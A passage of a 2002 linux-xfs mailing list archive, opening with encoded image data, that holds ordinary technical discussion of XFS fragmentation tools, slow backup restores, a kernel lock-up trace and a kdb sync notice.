jH9XtIK9JAmCsIgZLL/AiAwsDIewAyhXDAMHiFdalkV/hZGt3d+NJIbZkd7g jd7oiRt/LnTuiVxXdN3zuPiVS/rpdNYpurLnhbdEoYrsEUHPEApg+AQoasDt j8RGDRMFAgAh+QQFDwB/ACwYABoACwAUAAAHUIB/goOCAIaEg4aHiH+KjI2L ggcsfyGRgwNadBmMCy9slIh7WmEkjFd7XqaMRX8Jj39LjA6DQ38DsIK4hCGE B7m3sLK/ubuwAsB/V8DGhIEAACH5BAUPAH8ALBIAHgAPABEAAAdggH+Cg4RL DYSIgwAMSw6JhAMAAAuPg3SRAJWCRZeZmn9LfwefJGFFiYeDA1degqOPAi9x V66IJIKyWK1/A4kAIXQht7WIGQ4hiL2ILAyJr5+CytCblQK0f3iimsPRiIEA ACH5BAUPAH8ALAwAIwAPAA4AAAdGgH+Cg4SCV4WIfyhxiYUCf2FFjYIALH9Y k4Isc16ZAQB/LJaZAySZgwueIgynfy9xGYIuiQIvdCGnLLenAiymk1qgj62B AAAh+QQFDwB/ACwMABoADwAXAAAHS4B/ggKChYaGAyGEh4x/JCQDjYcDJCyR koUCISF/WIJXggmHBy4uAJioqaqrrK2ur7CxsgC0hQEkjbSnmLq7gpeGuqnC mFiEvqiBAAAh+QQFDwB/ACwOABoADgAVAAAHYIB/AH+EhYaEAImHi4KKjIWJ jo+NAn9XhFiEB4YCLF4Ok4UvYaCTCQNcYVpsl4chhAlafqGEA1hhtH8kYUuh ACh/Q74bL74AGVzGwI8Oko8uuYa/tMLRf8V/e6HLhAKBAAAh+QQFDwB/ACwR AB8ADwARAAAHa4B/KCwCf4aHiIcCAACJjgeMAChxS45/IoaMKJaOACRxnImT RaGGAld/RXshoSxxWH9+cayOLHNeXkN7YHEOjnQsLH+oC1pxC38ufxkDJIek fwcuC85/wojQh8qWlaXP3oeo4KmGA+ONiIEAACH5BAUPAH8ALBIAJQASAAsA AAdWgH+CACiCfxmGiYoAGy+CYQ6KiwAZXFePkokAhH9FhlcCB4oOm4ZLggMZ AigjiS6Kp4YhmYqehi4LLLO0l7Bxu5K2A4YDV3PAib2KxXHDmQKSAyQHgQAA IfkEBQ8AfwAsDgAlABYADAAAB22Af4KDfwJXgyGEiot/LHFYgmwZjIwsc15e Q39hcZSLdCwsf4cHV1oDCS2UGQMkg0WCCRt/JK6LDCwMhLCehAmJhEuKAwAA igwkCX8ur4vFxoIOLQ2DhqPOz38L04quvIrPAA7UngHYAOa9vYEAACH5BAUP AH8ALA4AJwASAAoAAAdQgH+Cg390YX9Xf2CEjIJ7fXF/RX8Df1x/By6MDn1a L39LgxmNfy9xWpWglKR/AH9sI4OTrAC1f0ODiaS1roKpRXiYhLykuoy2rH8C x8msgQAAIfkEBQ8AfwAsEQAhAA8ADAAAB1KAf4KDhAkNhIiDDl5LAomEfXFe C4IOj39+k4qPV38ol4Qtf2GWj3NehGGPdCwsgwtaWQIJon8DJACfgwchgw0s CwAAhAeJDi8hASSggy7Mf4EAACH5BAUPAH8ALBQAGwAPABUAAAdZgH+Cg4SD BwyFiX8HWi+KhANacQ6PggdcbAuVfy8uXJSbf1chmwAAf6CPCwOmoWEsp38Z oYMNikW0gi65f0O8V7y4ucKVACh/S5u+gsSVjld7ocfNtLGJgQAAIfkEBR4A fwAsGQAbAAoADQAABy+Af4KDggAAhIOGh4iKi4mKiEsOhoiCLwuVghmIA46E dAeeg3SdmX+bpql/YaaBAAAh+QQFDwB/ACwZACIAAwAGAAAHE4B/CwN9YSx+ Xgt/KH+NjWB/gQAAIfkEBQ8AfwAsDgAAABUAMgAAB/6Af4IBAX+Fh4aJhYKM ioYBApCPhIiDk4IDCwKOi42Ej38LIZuflZaIAQ4kA4efjYOtfxmMsZ2KiCIt CreWtKCbLw6grr6xfy+nprCJAihXDLyvtc1/IcPKpX+bV7TKvJLc39KgAy8v I9fjiAIvVybRtqWFyCzixYsDS0v12a/pS3/qTTJl7MCSK/wcqStkMFy2eI4O aDkWTRqiBFgotiI47M9EZP0sJkrwERa2jhMBovJXiWSWZSE3/kngMZm/jhK1 cKvlKZGgBVq0ZKzYbaYLLWGwxLmyymenThmB6hSkZdZTQglaMHGgCgwXLw4a jPgSgkApAxOEbDkSRQ2ePf5w33Q5QqSMiQdmCRj4sEVIkDJ1+PjZ48fOmShA jmShkBeBDyM/joypo2ewnzlqoADxwaSE2QAIjGyWXIew6TaIaRBJUSAAAQVM TvggbfrPnsNAaPhwYcC1giw+Zo95w6cP4TlmUvsYguDPaybBj4iZ04fOHtuZ idAAIqQ1AQRFhERWYxzu4D1ichNRkdfAiSeR91i3PAdPHCI+smDwbgBDlidH sEGcZXKs0QUQWxDxAH8T+NDFFmJQRt8ZUGyxhQYQtDeBBwGqUZpldbShRhc+ TAABfxR44EMTbLxlGR1yzOUBhgyqKF1pxl22RmoYtpeicBIet2NuPbqGlo2T wSQFlx1D0lCkXj+SJpgffuCBGw0UnGjkhkD2QaUfeRymHY0BBAIAIfkEBQ8A fwAsDgAAABUAMgAAB/6AAYJ/fwF/AoiJAoWFg4aPh4iHA5KLjI2XkYuUApCO lwGIAQwOnIeMj56SDCEHkoSCnrCRhAqii6mfhZ0ZJAmhho0AjQUIEhccIygv Sy0jIhgWCAYFBIIPExo/R2JteHRxdHNlTUA0GhIFAQQIEx5AR2N1feB7eWtR QecQBusG7kCayKMXBw8efPo08FvXzsM2eXzAGUS4rx+7Cg6dQARH516+igwB CqzDZ064gx8VWvznMB7JOOE8mlMZ8p1Gkhw9HgHJzt2PkRFjUqRJgCW8jXT2 4DmTcuFFh0DpJEWZ0GnDgBD3JM3DdKZTlj+zTsW3k+hVl3z2qLUz1KrPm/5p t7ZdKVLsHrZNLSLA+BDnHDpUeV6FaxIw06p0ocrTYzKORyKCAbrcA3NOYLM+ R1KOY3muP8lj2MCk8ycOPq96+W758kaPVMBqwDyJDOLJlsWv2W7pQoToHwp/ noz887oO2Sw0+BFC0KGcwD/fkspZ8ycIkCV/DBDSTiQgITxa97xJ85HIhwJ/ CPwR4uNPk+/hSUMJ8qc9oT8IjPj4cR88aTxqzPfHCSncl98JP8EnHSH0EcgI AkQg+McYb1CW1BwMDpiCdoQIAUR7X4gjIkxREPEHECZw+AcITADxhxxy/BXO G3F0QV8R2S33BxEmplEHHo1huEUQRgABwX33ZXHxxBh/FBaHcX8wwUQHE6CH XwUnbpFGkzCxIYcaXWTxhwY54jfBiUd4wcaacYTBBhhD0rAdkn/8oNEbcoTR 5hsZzmnmie81qWcY99Hn51519gdTHIXex2E7J97XRx979PEHdfSRqSIhdtJJ CHUuzhkIAAAh+QQFDwB/ACwNAAAAFgAyAAAH/oB/BQ8THkBOY3V9fox5a1FB PhoTBgEBBA8ahoiKjH6OUUc0k5V/BAgVm4l9e3R+eI9Bo5SWmBSqintzfaCi pAGmDxU0P5ysca+xs5XAEIWHq3txe3qPvpR/gpm4x7zKv5eE3NJ7vcvZBdk0 f8Z/cuWxPn/YlpnZTtn5+kfZEfmD+fDp+5Mnn7wJ2YDZOzSQTsE//OYNzAZE 35xsegYi/KOQwr18cbI9jLgxm7B1AvtMDJJtoyUIE2PmKzlIwx+G+vBMdPnn QcCG1SC2/EcI5cSRQzkGsMcu5po/LCWi83lTYLY92c7o48nU6h86BDUOrHBT ZjaSCXt6bJoNbNhs5Af1+TQK8m1Ef0phTnTrCK5UbTZxxkTLsefPgQ9nEv1D d3DSejbZxoz0dxDCimn+YL24M+3cP12uiv4jpkw/fc6ISM6Gh/OfLT64fngS dbTrP0xKGv44UI5BI38MFJZws9hEnUKzCRckQfXqifL+IBj+R57XfFrzraD6 h7j1tr73Vc8HLB9DnXNC5os4kHs29X/Sv/mSr4Nn+0eaZEt/sU6brcvtpg9Y IfkWxRN/eBBcYc5AJdNTiuXTlVkRKkRRNnXEwUY24Y1H01zGyURYeRR5dVuE Jq113SdnPdZTYBRGtVEgAAAh+QQFDwB/ACwNAAAAFwAyAAAH/oABDxUyNUFU aHZ/i396cGRSNjUwEQYBf4OFSVRmiox6bpCSlA9/goQ1m4l/fYt5j5GTEaWY qIern7CjswGnmoiec3+vorKWtb9nnqx/bcWkppmpwIx7js+VAQTSt4p4i9ex MBWWvtOdjI26srTSqsvqZFS7ltu21LnY7aib6Pni2cy96xOH0TpoyAwB6yMH 3EFeAoHxoeMQ2zF3VM7cYYQn3K5SERO1mkPHozFt3BYu2vMnFECQGEWyjPfy EkYzG/+wBCWPHsp7Iv99XBQT3p+H5W4u6xhq3iRyNoEGK/kQJj9ORpFGLdTt T8E5PF9Gu5qIT0Owj5xSqodRI59F/iVdDjXXTY8wOsRqJuz3p+EiOc4AsrUl Ro0cPX/o7LHThk2UoQmjjMH559uwUGuQnPSFRAwwPXtC44FVxgbCQTSiIAHG ck8fxpCQQJERcFAQJ5vW2NHTh6WdNaKc0IBa60kQG58ZURQV5AdUQRqe2Nik rNoc4JFsAIFqT7qqOonjUJRrw8fzQU2OZ/wzJ474ONhtNCc+6EiQfu4LxmHD RkykPz7M8oc9NDSxCRuLFMSGHGx0EckRHtBHSBNOUPGFJ3GEocgYUqQHjS8/ QBGFRgz+oSEcYkTxxEkJIfHHGouEsQhjZ2wxynlXlZGOV2qMoZaACd3Cnn5H +edTRG7YIUGHgqPpM+BNOS2Ch1zs9JISLn30YdJaW02jUTphDRUIAAAh+QQF DwB/ACwNAAAAFwAyAAAH/oAEETAzPEpVbn+Ki39ofz05MzAPf4KEhoh3jHxw aFWQMTB/AZaFh26ai3qNjzmho6WYqIt+ip6Qkoqxp6l/fauOoDARlYOmmbWK nLeuoqTGsr19tq2SlH/QvMl/fI2fzZS7mYpx3KzCsNnjjN64k4rqqNvdwc3p l7x95ebMoeHxmuYoOxfJmbhZdAb2E1UMX6Zpf/BQE/bPYSKIe2x9y/XMYio6 GQn6g+fxT8g/nTYaBMhOJMODvv4kXPZtJLaSMhfV43jwTh+JeIDVfNczJ51l Uig2PDbrz752Be8x7TUHWKuRRRMmTImu41SjtpIWvBZPUUJuXO15jbbnrFV0 +ktlvfkjcM4+lWTxjVF0Mk+dNmS6xhJjJhGfkHo6/aECbqmUP+t85fFmJsmr jjXESMnUTVEeOJClULHWEAkVXnvaKlKshMoPooOcKOHFKM6bW0mAwJYBJQlt rSgh80gS5B023tHo1EV560/xik58I3LKxunEJH9gwwgi5dAZNtX/hAkDhsyn IDYqRAhw0waSzWHmhvkDps4iJX9qaJ9h+k8aTfOBgQdoVUDxx2WlYEdFIgIx goYYUDQWy2N/aFLdfHCkIYYSY8V1SBrW/VEdG+YJFo8dciwi0E77YVKhRAJN ttAoNzH1xyqKJMaiLiwtQs9QFdnIjmJdBQIAIfkEBSwBfwAsDQAAABYAMgAA B/6ABRUxNztTVn93fn+MfIxVUzg3MREGgzc9h4yLjJ1/kTd/FYKEOJp/nH+O f1V/kpSWhJmIqJ2rVqCisTemtKmrra9/pJinjHN7nbiSupe9m7aPrpMRxIa0 nsq5Fbuz0NnB1LvPtY2My6Gjl9eMfdms082yxnR/yeeglMTkf/V4neHkFTLG 6N4fRK8qXfLWaY6qR9v2Eay36hMzbuuM3QOWr9pCguYYbRtn7J8nSBd3sWv4 LiExhv3m0Lk10hm9ODM9ucxIq88ch9pSfuzZ72GnhCSJyqR50dopdxR1puv2 9I9DptQkEqWzR49UgdfgPIx6cBqsocfq0ZFTB43FdOUSybyx824Noh1TF5J5 18kNq52E/pDB9gePwT9u88bgQWbiPbetxA1K8omWHq508pzr8ceGKFJQKndS +6eOSCU2YmCcQUUJyDhyEP/poYTR6tmn5sT5E+fNuT+19Q0CrqkOm91h2LRh NYVHEHlIXFtxE6Z6py9u/0j5E2PYcClT/oBpE9vTGEhIZpwNzEqNnXqezPyh kiTrpT9R9v6xE4aRSTJU8KAYJkro1wkbmq0xRk2lHLLGO23IZ5ZH8yByhyd0 HcQgL68lcpR9hKzEh0PwMSdUhZ34sYcfXomElE2+RAPPRYEAADs= --0__=09BBE6E3DFE962288f9e8a93df938690918c09BBE6E3DFE96228-- From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:25:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:25:31 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADMPTuR015743 for ; Wed, 13 Nov 2002 14:25:30 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADMUokq005204 for ; Wed, 13 Nov 2002 16:30:50 -0600 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA60498; Wed, 13 Nov 2002 16:27:04 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-18.corp.sgi.com [134.15.64.18]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA57881; Wed, 13 Nov 2002 16:26:56 -0600 (CST) Subject: Re: Defrag Utility From: Stephen Lord To: Andi Kleen Cc: LA Walsh , linux-xfs@oss.sgi.com In-Reply-To: <20021113231558.A2917@oldwotan.suse.de> References: <20021102230344.GA7854@tapu.f00f.org> <000301c28b60$65e5b770$1403a8c0@sc.tlinx.org> <20021113231558.A2917@oldwotan.suse.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 13 Nov 2002 16:21:45 -0600 Message-Id: <1037226106.1351.32.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1694 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Wed, 2002-11-13 at 16:15, Andi Kleen wrote: > On Wed, Nov 13, 2002 at 02:02:46PM -0800, LA Walsh wrote: > > Is there any tool to tell how many files have how many fragments out of > > how many files...something on the order of > > xfs_bmap reports that. The more extents the file has the more fragmented > it is. > > -Andi > Try the frag and freesp commands in xfs_db one reports how fragmented things are. So for instance on the laptop I am on which I do kernel builds on: xfs_db: frag -f actual 79844, ideal 79633, fragmentation factor 0.26% xfs_db: frag -d actual 2316, ideal 2249, fragmentation factor 2.89% The first is file data, the second is directory blocks. Then freesp lists the sizes of freespace: from to extents blocks pct 1 1 461 461 0.11 2 3 335 776 0.18 4 7 215 1135 0.26 8 15 231 2611 0.60 16 31 149 3249 0.75 32 63 155 6930 1.60 64 127 153 13900 3.21 128 255 139 25120 5.80 256 511 80 29159 6.74 512 1023 40 26903 6.21 1024 2047 12 17903 4.14 2048 4095 6 18091 4.18 4096 8191 1 4628 1.07 8192 16383 1 14674 3.39 32768 65535 5 267378 61.76 This filesystem has been in use for a couple of years (I think) Steve Steve From owner-linux-xfs@oss.sgi.com Wed Nov 13 14:52:24 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 14:52:27 -0800 (PST) Received: from mail.linux-works.org ([164.64.40.100]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADMqMuR016719 for ; Wed, 13 Nov 2002 14:52:23 -0800 Received: from linux-works.org (andy.nmcourts.com [198.59.128.89]) by mail.linux-works.org (8.11.6/8.11.6) with ESMTP id gADMrsU15228; Wed, 13 Nov 2002 15:53:54 -0700 Message-ID: <3DD2D7F0.4040508@linux-works.org> Date: Wed, 13 Nov 2002 15:53:36 -0700 From: Andrew Mathews User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bryan.Jorgensen@mutualofomaha.com CC: linux-xfs@oss.sgi.com Subject: Re: XFS redhat 8.0 References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1695 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: andrew_mathews@linux-works.org Precedence: bulk X-list: linux-xfs Bryan.Jorgensen@mutualofomaha.com wrote: > Are you going to be developing a cd like the others for redhat 8.0? > > (Embedded Bryan Jorgensen > image moved Mutual of Omaha > to file: I/S Field Assistance Center > pic01999.gif) x7124 > > > > > > > ------------------------------------------------------------------------ > ftp://oss.sgi.com/projects/xfs/Release-1.2pre1/installer/forRH-8.0-SGI-XFS-1.2pre1.iso -- Andrew Mathews --------------------------------------------------------------------- 3:50pm up 1 day, 4:18, 4 users, load average: 2.92, 2.54, 2.31 --------------------------------------------------------------------- "All my life I wanted to be someone; I guess I should have been more specific." -- Jane Wagner From owner-linux-xfs@oss.sgi.com Wed Nov 13 15:26:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 15:26:53 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gADNQouR017759 for ; Wed, 13 Nov 2002 15:26:50 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADLSSG8000848 for ; Wed, 13 Nov 2002 13:28:28 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA64292; Wed, 13 Nov 2002 17:28:24 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-18.corp.sgi.com [134.15.64.18]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id RAA91316; Wed, 13 Nov 2002 17:28:17 -0600 (CST) Subject: Re: Slow restore using NetVault backup application From: Stephen Lord To: Sherman Boyd Cc: linux-xfs@oss.sgi.com In-Reply-To: <1037225493.3dd2ce15cb6c2@meth.gravital.net> References: <1037225493.3dd2ce15cb6c2@meth.gravital.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 13 Nov 2002 17:23:05 -0600 Message-Id: <1037229787.1351.55.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1696 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Wed, 2002-11-13 at 16:11, Sherman Boyd wrote: > Hi, > > I've been using the NetVault backup application to back up my Linux boxes > running XFS over the network. Everything is very fast, except restores crawl > along at about 21 kb per second. The guys at NetVault said that it was because > I have a journaling filesystem, and suggested that I turn off journaling (if > possible) while I am restoring a backup. This seems strange to me and brings up > some questions: Maybe it is because netvault does not know how to use a journalling filesystem. Unless we know how it is writing data into the filesystem I am not sure we can do much here. My bet is that it is opening files O_SYNC and doing small writes. You could attach strace to the process doing the writing (or one of them) and send a sample of its output. > > 1) Does anyone else experience this kind of an issue using any other backup > application? > > 2) Can I turn off journaling in XFS temporarily to resolve this, and would I > want to? No you cannot. > > 3) Why would journaling affect the speed of restores and not backups? > backup is a readonly operation, restore is a write operation, only the latter involves the journal. > Thanks for reading this and thanks to those that develop XFS, > > Sherman Boyd > meekrob@mitosys.com > Steve From owner-linux-xfs@oss.sgi.com Wed Nov 13 17:20:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 17:20:46 -0800 (PST) Received: from rj.sgi.com (rj.sgi.com [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAE1KiuR019108 for ; Wed, 13 Nov 2002 17:20:44 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gADG2bG8010023 for ; Wed, 13 Nov 2002 08:02:40 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA86316; Wed, 13 Nov 2002 12:02:34 -0600 (CST) Received: from rose.americas.sgi.com (rose.americas.sgi.com [128.162.187.93]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA15180; Wed, 13 Nov 2002 12:02:33 -0600 (CST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by rose.americas.sgi.com (8.12.5/8.12.5) with ESMTP id gADI2dmE028704; Wed, 13 Nov 2002 12:02:39 -0600 Subject: Re: the cvs kernel oops !! From: Russell Cattelan To: tom wang Cc: Eric Sandeen , linux-xfs@oss.sgi.com In-Reply-To: <20021113030224.57610.qmail@web15202.mail.bjs.yahoo.com> References: <20021113030224.57610.qmail@web15202.mail.bjs.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1 X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 13 Nov 2002 12:02:39 -0600 Message-Id: <1037210559.1160.3.camel@rose.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAE1KiuR019109 X-archive-position: 1697 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: linux-xfs Could you file a bug in bugzilla about this, so it doesn't get lost. http://oss.sgi.com/bugzilla/ Probably a candidate for 1.2 On Tue, 2002-11-12 at 21:02, tom wang wrote: > > Just now, I tried that test on the cvs kernel again, it did not oops anymore, > but it is locked after a while, I studied all the process trace of the system, > it seems that only one process is locked, the trace is here. > __down() > __down_failed() > [xfs].text.lock.xfs_log > xlog_state_get_iclog_space() > xlog_write() > xfs_log_write() > xfs_trans_commit() > xfs_attr_rolltrans£¨£© > xfs_attr_mode_addname() > xfs_attr_set() > linvfs_setxattr() > setxattr() > sys_lsetxattr() > system_call() > (It seems that some process was wirting the log to disk. but no other process was writing to disk at this time) > I think it is easy reproduce in your box. (BTW if we compiled xfs with DEBUG option, the xfsidbg module can not been installed) > thanks. > tom > > > > > > > > > Eric Sandeen µÄÕýÎÄ£º As another datapoint, Christoph and I both tried it with ext3 on 2.5.47, > and could not reproduce it. Also, could not reproduce it as a non-root > user. > > -Eric > > On Tue, 2002-11-12 at 17:17, Christoph Hellwig wrote: > > On Tue, Nov 12, 2002 at 06:27:15PM +0800, tom wang wrote: > > > fsstress is the program provided in xfstest package. > > > the kernel I used is now cvs kernel. > > > > > > the oops is easy reproduce, so maybe you can fix it > > > > I could reproduce it here, too. The trace I got made no sense at > > all, though and when I put in a bunch of debug printks I got a very > > different oops output. After fixing the unchecked malloc today > > I couldn't reproduce it anymore. Can you please test the latest > > CVS tree? > > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. 651-683-3102 > > > > --------------------------------- > Do You Yahoo!? > "ÊÇIT¾«Ó¢Âð£¿Ð¡ÊÔÅ£µ¶»ñʱÉд󽱣¡" > > [[HTML alternate version deleted]] > > From owner-linux-xfs@oss.sgi.com Wed Nov 13 17:38:02 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 17:38:05 -0800 (PST) Received: from ishtar.tlinx.org (ishtar.tlinx.org [64.81.58.33]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAE1c2uR019633 for ; Wed, 13 Nov 2002 17:38:02 -0800 Received: from Shiva (shiva [192.168.3.20]) by ishtar.tlinx.org (8.12.6/8.12.2/SuSE Linux 0.6) with ESMTP id gAE1dYg2007702; Wed, 13 Nov 2002 17:39:34 -0800 From: "LA Walsh" To: "'Stephen Lord'" Cc: Subject: RE: Defrag Utility Date: Wed, 13 Nov 2002 17:39:32 -0800 Message-ID: <001e01c28b7e$ae07eb90$1403a8c0@sc.tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 In-Reply-To: <1037226106.1351.32.camel@laptop.americas.sgi.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAE1c2uR019638 X-archive-position: 1698 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: law@tlinx.org Precedence: bulk X-list: linux-xfs > -----Original Message----- > > Try the frag and freesp commands in xfs_db one reports how fragmented > things are. So for instance on the laptop I am on which I do kernel > builds on: > > xfs_db: frag -f > actual 79844, ideal 79633, fragmentation factor 0.26% > xfs_db: frag -d > actual 2316, ideal 2249, fragmentation factor 2.89% --- That's sorta what I was looking for -- I guess I could script the bmap and find out which files were most affected. My system looks like: (files/dirs). /: xfs_db: actual 152457, ideal 152451, fragmentation factor 0.00% xfs_db: actual 4090, ideal 3459, fragmentation factor 15.43% /boot: xfs_db: actual 58, ideal 58, fragmentation factor 0.00% xfs_db: actual 2, ideal 2, fragmentation factor 0.00% /tmp: xfs_db: actual 6, ideal 6, fragmentation factor 0.00% xfs_db: actual 0, ideal 0, fragmentation factor 0.00% /var: xfs_db: actual 15924, ideal 14822, fragmentation factor 6.92% xfs_db: actual 276, ideal 206, fragmentation factor 25.36% /home: xfs_db: actual 104276, ideal 100041, fragmentation factor 4.06% xfs_db: actual 4586, ideal 4474, fragmentation factor 2.44% /backups: xfs_db: actual 1952, ideal 660, fragmentation factor 66.19% xfs_db: actual 16, ideal 11, fragmentation factor 31.25% ---- This is with no xfs_fsr (since it doesn't exist on my system) with fs's about 9 months old, maybe? Looks like I could use a good xfs_fsr. Am running SuSE8.1 and doesn't appear they included it. > Then freesp lists the sizes of freespace: > > from to extents blocks pct > 1 1 461 461 0.11 > 2 3 335 776 0.18 > 4 7 215 1135 0.26 > 8 15 231 2611 0.60 > 16 31 149 3249 0.75 > 32 63 155 6930 1.60 > 64 127 153 13900 3.21 > 128 255 139 25120 5.80 > 256 511 80 29159 6.74 > 512 1023 40 26903 6.21 > 1024 2047 12 17903 4.14 > 2048 4095 6 18091 4.18 > 4096 8191 1 4628 1.07 > 8192 16383 1 14674 3.39 > 32768 65535 5 267378 61.76 --- So, ideally, would all of the extent ranges have at most 1 extent -- except for the 32768-65535 range which would have some number of extents equivalent to something close to free blocks/64K? thanks for the info...now to write a few scripts...:-) BTW, a suggestion -- one might want to package a crontab script with xfs-utils to try to be consistent with the xfs_fsr manpage where it says "By default[,] this is done from crontab once per week." That way packagers might see the crontab with the documents and look at it and say "oh, we should set that up in our distribution". As for me doing 'timings and testings'...I can add that to my 'list'...of things it would 'be good to do'...:-). Seriously though -- perhaps I am naïve, but someone must have thought there was some benefit to be gained by having a defrag utility for xfs. As mentioned -- it's not that common on *nixes. So I'm wondering what/who (maybe unknown after many years) prompted the creation of such a utility. Someone must have thought either thought it was needed or that it would make a difference. I realize, though, that doesn't mean there was any hard evidence and could have been added on a whim :-). linda From owner-linux-xfs@oss.sgi.com Wed Nov 13 17:40:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 17:40:58 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAE1euuR020071 for ; Wed, 13 Nov 2002 17:40:56 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAE0jvKp006196 for ; Wed, 13 Nov 2002 16:45:58 -0800 Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gAE1fS000864; Thu, 14 Nov 2002 12:41:28 +1100 Date: Thu, 14 Nov 2002 12:41:28 +1100 From: Keith Owens Message-Id: <200211140141.gAE1fS000864@sherman.melbourne.sgi.com> Subject: TAKE - Sync with kdb v2.5-2.4.20-rc1-{common,i386}-1 X-archive-position: 1699 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Sync with kdb v2.5-2.4.20-rc1-{common,i386}-1 Date: Wed Nov 13 17:40:27 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133017a linux/include/linux/kdb.h - 1.27 linux/kdb/kdbmain.c - 1.32 linux/kdb/ChangeLog - 1.25 linux/arch/i386/kdb/ChangeLog - 1.14 From owner-linux-xfs@oss.sgi.com Wed Nov 13 17:48:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 13 Nov 2002 17:48:54 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAE1mpuR020614 for ; Wed, 13 Nov 2002 17:48:51 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAE1sDkq010089 for ; Wed, 13 Nov 2002 19:54:13 